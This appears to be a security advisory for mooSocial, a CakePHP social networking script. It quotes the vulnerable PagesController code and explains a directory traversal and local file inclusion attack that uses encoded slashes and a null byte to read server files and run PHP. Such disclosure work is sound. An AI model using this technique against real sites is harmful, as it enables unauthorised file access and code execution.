| OVERVIEW |
+----------+

mooSocial is a social networking script built on top of CakePHP 2 framework. It has all the features to build a successful community (e.g. blog, photo, group, event, video, topic...).

mooSocial is a premium version {

Standard Version : $149
Developer Version : $449

}

+-----------------------------------------------------------------------------------+

+----------------------------+
| Directorty Traversal / LFI |
+----------------------------+

mooSocial is vulnerable to a directory traversal / local file inclusion vulnerability  , as a result, it was possible for an attacker to load webserver-readable files from the local filesystem (and to execute PHP stored on the server).



+--------------------+
| How did it work?   |
+--------------------+

In the PHP code for de mooSocial website, there’s a controller called PagesController.php that is used to load static / semi-static pages. The exact name of the page to be loaded is determined by the query string: for example, http://www.server/pages/chat loads the Site chat page, which is stored as a template in the system. 

i used Burp suite tool to intercept data cuz there is redirection here when we put something else after the root path

vuln code :

...................

class PagesController extends AppController 
{

    public function display() 
    {
        $path = func_get_args();

        $count = count($path);
        if (!$count) {
            $this->redirect('/');
        }
        $page = $subpage = $title_for_layout = null;

        if (!empty($path[0])) {
            $page = $path[0];
        }
        if (!empty($path[1])) {
            $subpage = $path[1];
        }
        if (!empty($path[$count - 1])) {
            $title_for_layout = Inflector::humanize($path[$count - 1]);
        }
        $this->set(compact('page', 'subpage', 'title_for_layout'));
        
        // check if site is offline
        $moo_setting = $this->_getSettings();
        $uid = $this->Session->read('uid'); 
        
        if ( !empty( $moo_setting['site_offline'] ) && !is_root_admin( $uid ) )
        {
            $this->layout = '';
            $this->set('offline_message', $moo_setting['offline_message']);
            $this->render('/Elements/misc/offline');
        }
        else
            $this->render(implode('/', $path));
    }
}


This code is vulnerable to a directory traversal attack: the $path, which is used to load a template, is directly tied to user input (the arguments to the function here are the elements of the query string). By sending URL slashes (/), it was possible to break out of the current directory and traverse via a relative path to any directory in the system. It was also possible to convince CakePHP (the framework used here) to load files without the ctp file extension associated with templates by including a URL null byte (%00) at the end of the URL.
